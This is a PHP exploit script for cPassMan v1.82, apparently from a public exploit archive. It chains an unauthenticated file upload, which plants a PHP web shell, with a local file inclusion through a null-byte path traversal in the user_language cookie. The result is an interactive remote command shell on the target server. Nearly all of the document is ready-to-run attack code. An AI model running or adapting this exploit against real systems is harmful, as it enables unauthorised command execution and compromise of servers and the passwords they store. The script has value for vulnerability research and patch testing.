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Product. Collaborative Passwords Manager (cPassMan)
Platform. Independent (PHP)
Affected versions. 1.82
<?php
/*
* cPassMan v1.82 Remote Command Execution Exploit by ls (contact@kaankivilcim.com)
* Disclaimer: cPassMan developer was notified of vulnerabilities in April 2011 and advised that v1.x was no longer supported.
* Note: Requires PHP 5.3.3 or lower due to the use of a poison null byte in the LFI.
*/
if ($argc < 3) {
print "Usage: php -f {$argv[0]} <host> <path> (e.g. php -f {$argv[0]} 192.168.129.130 /cpassman)\n";
exit();
}
print "--------------------------------------------------------------------------------\n";
print "cPassMan v1.82 Remote Command Execution Exploit by ls (contact@kaankivilcim.com)\n";
print "--------------------------------------------------------------------------------\n";
$host = $argv[1];
$path = $argv[2];
$port = 80;
/*
* Stage One: Unauthenticated Arbitrary File Upload
* Uploaded files are stored in the document root of the web server as a file with the MD5 hash of the original filename.
*/
print "[*] Stage One: Uploading command execution handler... ";
$upload_path = $path . "/includes/libraries/uploadify/uploadify.php";
$fp = fsockopen($host, $port, $errno, $errstr, 30);
if ($fp) {
fputs($fp, "POST $upload_path HTTP/1.1\r\n");
fputs($fp, "Host: $host\r\n");
fputs($fp, "Content-Type: multipart/form-data; boundary=---------------------------4827543632391\r\n");
fputs($fp, "Content-Length: 233\r\n\r\n");
fputs($fp, "-----------------------------4827543632391\r\n");
fputs($fp, "Content-Disposition: form-data; name=\"Filedata\"; filename=\"rabbit.txt\";\r\n");
fputs($fp, "Content-Type: text/plain\r\n\r\n");
fputs($fp, "<?php echo system(\$_GET['z']); die(); ?>\r\n");
fputs($fp, "-----------------------------4827543632391--\r\n\r\n");
$result = fgets($fp, 16);
fclose($fp);
}
if (strstr($result, "200 OK")) {
print "Success!\n";
}
/*
* Stage Two: Local File Inclusion
* Several LFI vulnerabilities exist in the user language selection functionality. The exploit uses the user_language cookie attack vector.
*/
print "[*] Stage Two: Confirming command execution via local file inclusion... ";
$cmd = "echo rabbit";
$success = FALSE;
$stdin = fopen("php://stdin","r");
do {
$cmd = str_replace(" ", "+", $cmd);
$lfi_path = $path . "/index.php?z=" . $cmd;
$fp = fsockopen($host, $port, $errno, $errstr, 30);
if ($fp) {
fputs($fp, "GET $lfi_path HTTP/1.1\r\n");
fputs($fp, "Host: 192.168.129.130\r\n");
fputs($fp, "Cookie: user_language=../../../89f84a8775dd8f60cdbdef0d73919511%00\r\n");
fputs($fp, "Content-Length: 0\r\n\r\n");
for ($i = 0; $i < 13; $i++) {
fgets($fp, 2048);
}
$output = "\n";
while (($tmp = fgets($fp, 2048)) != FALSE && !feof($fp)) {
$output .= $tmp;
}
if ($success) {
echo $output;
}
fclose($fp);
}
if (!$success && strstr($output, "rabbit")) {
$success = TRUE;
print "Success!\n";
}
print "\n> ";
} while ($cmd = trim(fgets($stdin)));
?>
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